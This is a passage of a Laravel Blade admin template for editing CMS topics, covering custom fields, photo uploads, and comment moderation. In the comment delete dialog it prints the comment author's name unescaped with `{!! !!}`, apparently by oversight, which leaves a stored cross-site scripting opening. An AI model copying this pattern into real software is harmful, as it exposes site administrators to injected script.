                                @if($cf_land_active)
                                    @if($customField->type ==12)
                                        {{--Vimeo Video Link--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!} <i class="fa fa-vimeo"></i>
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::text('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>'ltr')) !!}
                                            </div>
                                        </div>
                                    @elseif($customField->type ==11)
                                        {{--Youtube Video Link--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!} <i class="fa fa-youtube"></i>
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::text('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>'ltr')) !!}
                                            </div>
                                        </div>
                                    @elseif($customField->type ==10)
                                        {{--Video File--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}</label>
                                            <div class="col-sm-10">
                                                @if($cf_saved_val !="")
                                                    <?php
                                                    $file_name_id = 'topic_file_' . $customField->id;
                                                    $file_del_id = 'file_delete_' . $customField->id;
                                                    $file_old_id = 'file_old_' . $customField->id;
                                                    $file_undo_id = 'undo_' . $customField->id;
                                                    ?>
                                                    <div id="{{$file_name_id}}" class="col-sm-4 box p-a-xs">
                                                        <video width="380" height="230" controls>
                                                            <source src="{{ URL::to('uploads/topics/'.$cf_saved_val) }}"
                                                                    type="video/mp4">
                                                            Your browser does not support the video tag.
                                                        </video>
                                                        <a target="_blank"
                                                           href="{{ URL::to('uploads/topics/'.$cf_saved_val) }}">
                                                            {{ $cf_saved_val }}
                                                        </a>
                                                        <br>
                                                        <a onclick="document.getElementById('{{$file_name_id}}').style.display='none';document.getElementById('{{$file_del_id}}').value='1';document.getElementById('{{$file_undo_id}}').style.display='block';"
                                                           class="btn btn-sm btn-default">{!!  trans('backLang.delete') !!}</a>
                                                    </div>
                                                    <div id="{{$file_undo_id}}" class="col-sm-4 p-a-xs"
                                                         style="display: none">
                                                        <a onclick="document.getElementById('{{$file_name_id}}').style.display='block';document.getElementById('{{$file_del_id}}').value='0';document.getElementById('{{$file_undo_id}}').style.display='none';">
                                                            <i class="material-icons">
                                                                &#xe166;</i> {!!  trans('backLang.undoDelete') !!}</a>
                                                    </div>

                                                    {!! Form::hidden($file_del_id,'0', array('id'=>$file_del_id)) !!}
                                                    {!! Form::hidden($file_old_id,$cf_saved_val, array('id'=>$file_old_id)) !!}
                                                @endif
                                                {!! Form::file('customField_'.$customField->id, array('class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','accept'=>'*')) !!}
                                            </div>
                                        </div>
                                    @elseif($customField->type ==9)
                                        {{--Attach File--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}</label>
                                            <div class="col-sm-10">
                                                @if($cf_saved_val !="")
                                                    <?php
                                                    $file_name_id = 'topic_file_' . $customField->id;
                                                    $file_del_id = 'file_delete_' . $customField->id;
                                                    $file_old_id = 'file_old_' . $customField->id;
                                                    $file_undo_id = 'undo_' . $customField->id;
                                                    ?>
                                                    <div id="{{$file_name_id}}" class="col-sm-4 box p-a-xs">
                                                        <a target="_blank"
                                                           href="{{ URL::to('uploads/topics/'.$cf_saved_val) }}">
                                                            {{ $cf_saved_val }}
                                                        </a>
                                                        <br>
                                                        <a onclick="document.getElementById('{{$file_name_id}}').style.display='none';document.getElementById('{{$file_del_id}}').value='1';document.getElementById('{{$file_undo_id}}').style.display='block';"
                                                           class="btn btn-sm btn-default">{!!  trans('backLang.delete') !!}</a>
                                                    </div>
                                                    <div id="{{$file_undo_id}}" class="col-sm-4 p-a-xs"
                                                         style="display: none">
                                                        <a onclick="document.getElementById('{{$file_name_id}}').style.display='block';document.getElementById('{{$file_del_id}}').value='0';document.getElementById('{{$file_undo_id}}').style.display='none';">
                                                            <i class="material-icons">
                                                                &#xe166;</i> {!!  trans('backLang.undoDelete') !!}</a>
                                                    </div>

                                                    {!! Form::hidden($file_del_id,'0', array('id'=>$file_del_id)) !!}
                                                    {!! Form::hidden($file_old_id,$cf_saved_val, array('id'=>$file_old_id)) !!}
                                                @endif
                                                {!! Form::file('customField_'.$customField->id, array('class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','accept'=>'*')) !!}
                                            </div>
                                        </div>
                                    @elseif($customField->type ==8)
                                        {{--Photo File--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}</label>
                                            <div class="col-sm-10">
                                                @if($cf_saved_val !="")
                                                    <?php
                                                    $file_name_id = 'topic_file_' . $customField->id;
                                                    $file_del_id = 'file_delete_' . $customField->id;
                                                    $file_old_id = 'file_old_' . $customField->id;
                                                    $file_undo_id = 'undo_' . $customField->id;
                                                    ?>
                                                    <div id="{{$file_name_id}}" class="col-sm-4 box p-a-xs">
                                                        <a target="_blank"
                                                           href="{{ URL::to('uploads/topics/'.$cf_saved_val) }}"><img
                                                                    src="{{ URL::to('uploads/topics/'.$cf_saved_val) }}"
                                                                    class="img-responsive">
                                                            {{ $cf_saved_val }}
                                                        </a>
                                                        <br>
                                                        <a onclick="document.getElementById('{{$file_name_id}}').style.display='none';document.getElementById('{{$file_del_id}}').value='1';document.getElementById('{{$file_undo_id}}').style.display='block';"
                                                           class="btn btn-sm btn-default">{!!  trans('backLang.delete') !!}</a>
                                                    </div>
                                                    <div id="{{$file_undo_id}}" class="col-sm-4 p-a-xs"
                                                         style="display: none">
                                                        <a onclick="document.getElementById('{{$file_name_id}}').style.display='block';document.getElementById('{{$file_del_id}}').value='0';document.getElementById('{{$file_undo_id}}').style.display='none';">
                                                            <i class="material-icons">
                                                                &#xe166;</i> {!!  trans('backLang.undoDelete') !!}</a>
                                                    </div>

                                                    {!! Form::hidden($file_del_id,'0', array('id'=>$file_del_id)) !!}
                                                    {!! Form::hidden($file_old_id,$cf_saved_val, array('id'=>$file_old_id)) !!}
                                                @endif

                                                {!! Form::file('customField_'.$customField->id, array('class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','accept'=>'image/*')) !!}
                                            </div>
                                        </div>
                                    @elseif($customField->type ==7)
                                        {{--Multi Check--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}</label>
                                            <div class="col-sm-10">
                                                <select name="{{'customField_'.$customField->id}}[]"
                                                        id="{{'customField_'.$customField->id}}"
                                                        class="form-control select2-multiple" multiple
                                                        ui-jp="select2"
                                                        ui-options="{theme: 'bootstrap'}" {{$cf_required}}>
                                                    <?php
                                                    $cf_details_var = "details_" . trans('backLang.boxCode');
                                                    $cf_details_var2 = "details_en" . trans('backLang.boxCodeOther');
                                                    if ($customField->$cf_details_var != "") {
                                                        $cf_details = $customField->$cf_details_var;
                                                    } else {
                                                        $cf_details = $customField->$cf_details_var2;
                                                    }
                                                    $cf_details_lines = preg_split('/\r\n|[\r\n]/', $cf_details);
                                                    $line_num = 1;
                                                    ?>
                                                    @foreach ($cf_details_lines as $cf_details_line)
                                                        <option value="{{ $line_num  }}" {{ (in_array($line_num,$cf_saved_val_array)) ? "selected='selected'":""  }}>{{ $cf_details_line }}</option>
                                                        <?php
                                                        $line_num++;
                                                        ?>
                                                    @endforeach
                                                </select>
                                            </div>
                                        </div>
                                    @elseif($customField->type ==6)
                                        {{--Select--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}</label>
                                            <div class="col-sm-10">
                                                <select name="{{'customField_'.$customField->id}}"
                                                        id="{{'customField_'.$customField->id}}"
                                                        class="form-control c-select" {{$cf_required}}>
                                                    <option value="">- - {!!  $cf_title !!} - -</option>
                                                    <?php
                                                    $cf_details_var = "details_" . trans('backLang.boxCode');
                                                    $cf_details_var2 = "details_en" . trans('backLang.boxCodeOther');
                                                    if ($customField->$cf_details_var != "") {
                                                        $cf_details = $customField->$cf_details_var;
                                                    } else {
                                                        $cf_details = $customField->$cf_details_var2;
                                                    }
                                                    $cf_details_lines = preg_split('/\r\n|[\r\n]/', $cf_details);
                                                    $line_num = 1;
                                                    ?>
                                                    @foreach ($cf_details_lines as $cf_details_line)
                                                        <option value="{{ $line_num  }}" {{ ($cf_saved_val == $line_num) ? "selected='selected'":""  }}>{{ $cf_details_line }}</option>
                                                        <?php
                                                        $line_num++;
                                                        ?>
                                                    @endforeach
                                                </select>
                                            </div>
                                        </div>
                                    @elseif($customField->type ==5)
                                        {{--Date & Time--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}
                                            </label>
                                            <div class="col-sm-10">
                                                <div>
                                                    <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD hh:mm A',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                                        {!! Form::text('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)) !!}
                                                        <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    @elseif($customField->type ==4)
                                        {{--Date--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}
                                            </label>
                                            <div class="col-sm-10">
                                                <div class="form-group">
                                                    <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                                        {!! Form::text('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)) !!}
                                                        <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                                    </div>
                                                </div>

                                            </div>
                                        </div>
                                    @elseif($customField->type ==3)
                                        {{--Email Address--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::email('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)) !!}
                                            </div>
                                        </div>

                                    @elseif($customField->type ==2)
                                        {{--Number--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::number('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','min'=>0, 'dir'=>$cf_land_dir)) !!}
                                            </div>
                                        </div>
                                    @elseif($customField->type ==1)
                                        {{--Text Area--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::textarea('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control',$cf_required=>'', 'dir'=>$cf_land_dir,'rows'=>'5')) !!}
                                            </div>
                                        </div>
                                    @else
                                        {{--Text Box--}}
                                        <div class="form-group row">
                                            <label for="{{'customField_'.$customField->id}}"
                                                   class="col-sm-2 form-control-label">{!!  $cf_title !!}
                                                {!! $cf_land_identifier !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::text('customField_'.$customField->id,$cf_saved_val, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)) !!}
                                            </div>
                                        </div>
                                    @endif
                                @endif

                            @endforeach
                        @endif
                        {{--End of -- Additional Feilds--}}

                        <div class="form-group row">
                            <label for="link_status"
                                   class="col-sm-2 form-control-label">{!!  trans('backLang.status') !!}</label>
                            <div class="col-sm-10">
                                <div class="radio">
                                    <label class="ui-check ui-check-md">
                                        {!! Form::radio('status','1',($Topics->status==1) ? true : false, array('id' => 'status1','class'=>'has-value')) !!}
                                        <i class="dark-white"></i>
                                        {{ trans('backLang.active') }}
                                    </label>
                                    &nbsp; &nbsp;
                                    <label class="ui-check ui-check-md">
                                        {!! Form::radio('status','0',($Topics->status==0) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                        <i class="dark-white"></i>
                                        {{ trans('backLang.notActive') }}
                                    </label>
                                </div>
                            </div>
                        </div>
                        <div class="form-group row m-t-md">
                            <div class="col-sm-offset-2 col-sm-10">
                                <button type="submit" class="btn btn-primary m-t"><i class="material-icons">
                                        &#xe31b;</i> {!! trans('backLang.update') !!}</button>
                                <a href="{{ route('topics',$WebmasterSection->id) }}"
                                   class="btn btn-default m-t"><i class="material-icons">
                                        &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                            </div>
                        </div>

                        {{Form::close()}}
                    </div>
                </div>


                @if($WebmasterSection->multi_images_status)
                    <div class="tab-pane  {{ $tab_3 }}" id="tab_photos">

                        <div class="box-body">

                            <div>
                                {{Form::open(['route'=>['topicsPhotosEdit',"webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id],'method'=>'POST','class'=>'dropzone white', 'files' => true])}}
                                <div class="dz-message" ui-jp="dropzone"
                                     ui-options="{ url: '{{ URL::to('backEnd/api/dropzone') }}' }">
                                    <h4 class="m-t-lg m-b-md">{{ trans('backLang.topicDropFiles') }}</h4>
                                    <span class="text-muted block m-b-lg">( {{ trans('backLang.topicDropFiles2') }}
                                        )</span>
                                </div>
                                {{Form::close()}}
                                <br>
                            </div>
                            @if(count($Topics->photos)>0)
                                <div class="row">
                                    {{Form::open(['route'=>['topicsPhotosUpdateAll',$WebmasterSection->id,$Topics->id],'method'=>'post'])}}
                                    @foreach($Topics->photos as $photo)
                                        <div class="col-xs-6 col-sm-4 col-md-3">
                                            <div class="box p-a-xs">
                                                <div class="pull-right">
                                                    {!! Form::text('row_no_'.$photo->id,$photo->row_no, array('class' => 'pull-left form-control row_no','id'=>'row_no','style'=>'margin:0;margin-bottom:5px')) !!}
                                                </div>
                                                <label class="ui-check m-a-0">
                                                    <input type="checkbox" name="ids[]" value="{{ $photo->id }}"><i
                                                            class="dark-white"></i>
                                                    {!! Form::hidden('row_ids[]',$photo->id, array('class' => 'form-control row_no')) !!}
                                                </label>
                                                <img src="{{ URL::to('uploads/topics/'.$photo->file) }}"
                                                     alt="{{ $photo->title  }}" title="{{ $photo->title  }}"
                                                     style="height: 150px"
                                                     class="img-responsive">
                                                <div class="p-a-sm">
                                                    <div class="text-ellipsis">
                                                        @if(@Auth::user()->permissionsGroup->delete_status)
                                                            <button class="btn btn-sm warning pull-right"
                                                                    data-toggle="modal"
                                                                    data-target="#mx-{{ $photo->id }}"
                                                                    ui-toggle-class="bounce"
                                                                    ui-target="#animate"
                                                                    title="{{ trans('backLang.delete') }}"
                                                                    style="padding: 0 5px 2px;">
                                                                <small><i class="material-icons">&#xe872;</i></small>
                                                            </button>
                                                        @endif
                                                        <a style="display: block;overflow: hidden;"
                                                           href="{{ URL::to('uploads/topics/'.$photo->file) }}"
                                                           target="_blank">
                                                            <small>{{ ($photo->title !="") ? $photo->title:$photo->file  }}</small>
                                                        </a>
                                                    </div>
                                                </div>

                                                <!-- .modal -->
                                                <div id="mx-{{ $photo->id }}" class="modal fade" data-backdrop="true">
                                                    <div class="modal-dialog" id="animate">
                                                        <div class="modal-content">
                                                            <div class="modal-header">
                                                                <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                            </div>
                                                            <div class="modal-body text-center p-lg">
                                                                <p>
                                                                    {{ trans('backLang.confirmationDeleteMsg') }}
                                                                    <br>
                                                                    <strong>[ {{ ($photo->title !="") ? $photo->title:$photo->file  }}
                                                                        ]</strong>
                                                                </p>
                                                            </div>
                                                            <div class="modal-footer">
                                                                <button type="button" class="btn dark-white p-x-md"
                                                                        data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                                <a href="{{ route("topicsPhotosDestroy",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"photo_id"=>$photo->id]) }}"
                                                                   class="btn danger p-x-md">{{ trans('backLang.yes') }}</a>
                                                            </div>
                                                        </div><!-- /.modal-content -->
                                                    </div>
                                                </div>
                                                <!-- / .modal -->
                                            </div>
                                        </div>

                                    @endforeach
                                    <div class="col-xs-12 col-sm-12 col-md-12">
                                        <!-- .modal -->
                                        <div id="mx-all" class="modal fade" data-backdrop="true">
                                            <div class="modal-dialog" id="animate">
                                                <div class="modal-content">
                                                    <div class="modal-header">
                                                        <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                    </div>
                                                    <div class="modal-body text-center p-lg">
                                                        <p>
                                                            {{ trans('backLang.confirmationDeleteMsg') }}
                                                        </p>
                                                    </div>
                                                    <div class="modal-footer">
                                                        <button type="button" class="btn dark-white p-x-md"
                                                                data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                        <button type="submit"
                                                                class="btn danger p-x-md">{{ trans('backLang.yes') }}</button>
                                                    </div>
                                                </div><!-- /.modal-content -->
                                            </div>
                                        </div>
                                        <!-- / .modal -->

                                        <label class="ui-check m-a-0">
                                            <input id="checkAll"
                                                   type="checkbox"><i></i> {{ trans('backLang.checkAll') }}
                                        </label>
                                        <div class="pull-right">
                                            <select name="action" id="action"
                                                    class="input-sm form-control w-sm inline v-middle" required>
                                                <option value="">{{ trans('backLang.bulkAction') }}</option>
                                                <option value="order">{{ trans('backLang.saveOrder') }}</option>
                                                @if(@Auth::user()->permissionsGroup->delete_status)
                                                    <option value="delete">{{ trans('backLang.deleteSelected') }}</option>
                                                @endif
                                            </select>
                                            <button type="submit" id="submit_all"
                                                    class="btn btn-sm white">{{ trans('backLang.apply') }}</button>
                                            <button id="submit_show_msg" class="btn btn-sm white" data-toggle="modal"
                                                    style="display: none"
                                                    data-target="#mx-all" ui-toggle-class="bounce"
                                                    ui-target="#animate">{{ trans('backLang.apply') }}
                                            </button>
                                        </div>
                                    </div>

                                    {{Form::close()}}
                                </div>
                            @endif
                        </div>
                    </div>
                @endif

                @if($WebmasterSection->comments_status)
                    <div class="tab-pane  {{ $tab_4 }}" id="tab_comments">

                        <div class="box-body">
                            @if (Session::has('commentST'))
                                @if (Session::get('commentST') == "create")

                                    <div>
                                        {{Form::open(['route'=>['topicsCommentsStore',$WebmasterSection->id,$Topics->id],'method'=>'POST', 'files' => true ])}}


                                        <div class="form-group row">
                                            <label for="name"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicCommentName') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::text('name','', array('placeholder' => '','class' => 'form-control','id'=>'name','required'=>'')) !!}
                                            </div>
                                        </div>
                                        <div class="form-group row">
                                            <label for="email"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicCommentEmail') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::email('email','', array('placeholder' => '','class' => 'form-control','id'=>'email','required'=>'')) !!}
                                            </div>
                                        </div>
                                        <div class="form-group row">
                                            <label for="comment"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicComment') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::textarea('comment','', array('placeholder' => '','class' => 'form-control','id'=>'comment','required'=>'','rows'=>'5')) !!}
                                            </div>
                                        </div>


                                        <div class="form-group row m-t-md">
                                            <div class="col-sm-offset-2 col-sm-10">
                                                <button type="submit" class="btn btn-primary m-t"><i
                                                            class="material-icons">
                                                        &#xe31b;</i> {!! trans('backLang.add') !!}</button>
                                                <a href="{{ route('topicsComments',[$WebmasterSection->id,$Topics->id]) }}"
                                                   class="btn btn-default m-t"><i class="material-icons">
                                                        &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                                            </div>
                                        </div>

                                        {{Form::close()}}
                                    </div>

                                @endif

                                @if (Session::get('commentST') == "edit")
                                    <div>
                                        {{Form::open(['route'=>['topicsCommentsUpdate',$WebmasterSection->id,$Topics->id,Session::get('Comment')->id],'method'=>'POST', 'files' => true ])}}


                                        <div class="form-group row">
                                            <label for="name"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicCommentName') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::text('name',Session::get('Comment')->name, array('placeholder' => '','class' => 'form-control','id'=>'name','required'=>'')) !!}
                                            </div>
                                        </div>
                                        <div class="form-group row">
                                            <label for="email"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicCommentEmail') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::email('email',Session::get('Comment')->email, array('placeholder' => '','class' => 'form-control','id'=>'email','required'=>'')) !!}
                                            </div>
                                        </div>
                                        <div class="form-group row">
                                            <label for="comment"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.topicComment') !!}
                                            </label>
                                            <div class="col-sm-10">
                                                {!! Form::textarea('comment',Session::get('Comment')->comment, array('placeholder' => '','class' => 'form-control','id'=>'comment','required'=>'','rows'=>'5')) !!}
                                            </div>
                                        </div>

                                        <div class="form-group row">
                                            <label for="link_status"
                                                   class="col-sm-2 form-control-label">{!!  trans('backLang.status') !!}</label>
                                            <div class="col-sm-10">
                                                <div class="radio">
                                                    <label class="ui-check ui-check-md">
                                                        {!! Form::radio('status','1',(Session::get('Comment')->status==1) ? true : false, array('id' => 'status1','class'=>'has-value')) !!}
                                                        <i class="dark-white"></i>
                                                        {{ trans('backLang.active') }}
                                                    </label>
                                                    &nbsp; &nbsp;
                                                    <label class="ui-check ui-check-md">
                                                        {!! Form::radio('status','0',(Session::get('Comment')->status==0) ? true : false, array('id' => 'status2','class'=>'has-value')) !!}
                                                        <i class="dark-white"></i>
                                                        {{ trans('backLang.notActive') }}
                                                    </label>
                                                </div>
                                            </div>
                                        </div>

                                        <div class="form-group row m-t-md">
                                            <div class="col-sm-offset-2 col-sm-10">
                                                <button type="submit" class="btn btn-primary m-t"><i
                                                            class="material-icons">
                                                        &#xe31b;</i> {!! trans('backLang.update') !!}</button>
                                                <a href="{{ route('topicsComments',[$WebmasterSection->id,$Topics->id]) }}"
                                                   class="btn btn-default m-t"><i class="material-icons">
                                                        &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                                            </div>
                                        </div>

                                        {{Form::close()}}
                                    </div>
                                @endif
                            @else

                                @if(count($Topics->comments)>0)
                                    <div class="row p-a">
                                        <div class="col-sm-12">
                                            <a class="btn btn-fw primary"
                                               href="{{route("topicsCommentsCreate",[$WebmasterSection->id,$Topics->id])}}">
                                                <i class="material-icons">&#xe02e;</i>
                                                &nbsp; {{ trans('backLang.topicNewComment') }}
                                            </a>
                                        </div>
                                    </div>
                                @endif
                                @if(count($Topics->comments) == 0)
                                    <div class="row p-a">
                                        <div class="col-sm-12">
                                            <div class=" p-a text-center light ">
                                                {{ trans('backLang.noData') }}
                                                <br>
                                                <br>
                                                <a class="btn btn-fw primary"
                                                   href="{{route("topicsCommentsCreate",[$WebmasterSection->id,$Topics->id])}}">
                                                    <i class="material-icons">&#xe02e;</i>
                                                    &nbsp; {{ trans('backLang.topicNewComment') }}
                                                </a>

                                            </div>
                                        </div>
                                    </div>
                                @endif
                                @if(count($Topics->comments)>0)
                                    {{Form::open(['route'=>['topicsCommentsUpdateAll',$WebmasterSection->id,$Topics->id],'method'=>'post'])}}
                                    <div class="row">
                                        <table class="table table-striped  b-t">
                                            <thead>
                                            <tr>
                                                <th style="width:20px;">
                                                    <label class="ui-check m-a-0">
                                                        <input id="checkAll2" type="checkbox"><i></i>
                                                    </label>
                                                </th>
                                                <th>{{ trans('backLang.topicCommentName') }}</th>
                                                <th>{{ trans('backLang.topicComment') }}</th>
                                                <th class="text-center"
                                                    style="width:50px;">{{ trans('backLang.status') }}</th>
                                                <th class="text-center"
                                                    style="width:200px;">{{ trans('backLang.options') }}</th>
                                            </tr>
                                            </thead>
                                            <tbody>
                                            @foreach($Topics->comments as $comment)
                                                <tr>
                                                    <td><label class="ui-check m-a-0">
                                                            <input type="checkbox" name="ids[]"
                                                                   value="{{ $comment->id }}"><i
                                                                    class="dark-white"></i>
                                                            {!! Form::hidden('row_ids[]',$comment->id, array('class' => 'form-control row_no')) !!}
                                                        </label>
                                                    </td>
                                                    <td>
                                                        {!! Form::text('row_no_'.$comment->id,$comment->row_no, array('class' => 'pull-left form-control row_no','id'=>'row_no2')) !!}
                                                        {{$comment->name}}
                                                        <div>
                                                            <small>
                                                                {{$comment->email}}
                                                            </small>
                                                        </div>
                                                    </td>
                                                    <td>
                                                        <small>{{ $comment->date }}</small>
                                                        <div>
                                                            <small>{{ $comment->comment }}</small>
                                                        </div>
                                                    </td>

                                                    <td class="text-center">
                                                        <i class="fa {{ ($comment->status==1) ? "fa-check text-success":"fa-times text-danger" }} inline"></i>
                                                    </td>
                                                    <td class="text-center">
                                                        <a class="btn btn-sm success"
                                                           href="{{ route("topicsCommentsEdit",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"comment_id"=>$comment->id]) }}">
                                                            <small><i class="material-icons">
                                                                    &#xe3c9;</i> {{ trans('backLang.edit') }}</small>
                                                        </a>
                                                        @if(@Auth::user()->permissionsGroup->delete_status)
                                                            <button class="btn btn-sm warning" data-toggle="modal"
                                                                    data-target="#mc-{{ $comment->id }}"
                                                                    ui-toggle-class="bounce"
                                                                    ui-target="#animate">
                                                                <small><i class="material-icons">
                                                                        &#xe872;</i> {{ trans('backLang.delete') }}
                                                                </small>
                                                            </button>
                                                        @endif

                                                    </td>
                                                </tr>
                                                <!-- .modal -->
                                                <div id="mc-{{ $comment->id }}" class="modal fade" data-backdrop="true">
                                                    <div class="modal-dialog" id="animate">
                                                        <div class="modal-content">
                                                            <div class="modal-header">
                                                                <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                            </div>
                                                            <div class="modal-body text-center p-lg">
                                                                <p>
                                                                    {{ trans('backLang.confirmationDeleteMsg') }}
                                                                    <br>
                                                                    <strong>[ {!! $comment->name !!} ]</strong>
                                                                </p>
                                                            </div>
                                                            <div class="modal-footer">
                                                                <button type="button" class="btn dark-white p-x-md"
                                                                        data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                                <a href="{{ route("topicsCommentsDestroy",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"comment_id"=>$comment->id]) }}"
                                                                   class="btn danger p-x-md">{{ trans('backLang.yes') }}</a>
                                                            </div>
                                                        </div><!-- /.modal-content -->
                                                    </div>
                                                </div>
                                                <!-- / .modal -->
                                            @endforeach

                                            </tbody>
                                        </table>

                                    </div>
                                    <div class="row">
                                        <div class="col-sm-3 hidden-xs">
                                            <!-- .modal -->
                                            <div id="mc-all" class="modal fade" data-backdrop="true">
                                                <div class="modal-dialog" id="animate">
                                                    <div class="modal-content">
                                                        <div class="modal-header">
                                                            <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                        </div>
                                                        <div class="modal-body text-center p-lg">
                                                            <p>
                                                                {{ trans('backLang.confirmationDeleteMsg') }}
                                                            </p>
                                                        </div>
                                                        <div class="modal-footer">
                                                            <button type="button" class="btn dark-white p-x-md"
                                                                    data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                            <button type="submit"
                                                                    class="btn danger p-x-md">{{ trans('backLang.yes') }}</button>
                                                        </div>
                                                    </div><!-- /.modal-content -->
                                                </div>
                                            </div>
                                            <!-- / .modal -->

                                            <select name="action" id="action2"
                                                    class="input-sm form-control w-sm inline v-middle" required>
                                                <option value="">{{ trans('backLang.bulkAction') }}</option>
                                                <option value="order">{{ trans('backLang.saveOrder') }}</option>
                                                <option value="activate">{{ trans('backLang.activeSelected') }}</option>
                                                <option value="block">{{ trans('backLang.blockSelected') }}</option>
                                                @if(@Auth::user()->permissionsGroup->delete_status)
                                                    <option value="delete">{{ trans('backLang.deleteSelected') }}</option>
                                                @endif
                                            </select>
                                            <button type="submit" id="submit_all2"
                                                    class="btn btn-sm white">{{ trans('backLang.apply') }}</button>
                                            <button id="submit_show_msg2" class="btn btn-sm white" data-toggle="modal"
                                                    style="display: none"
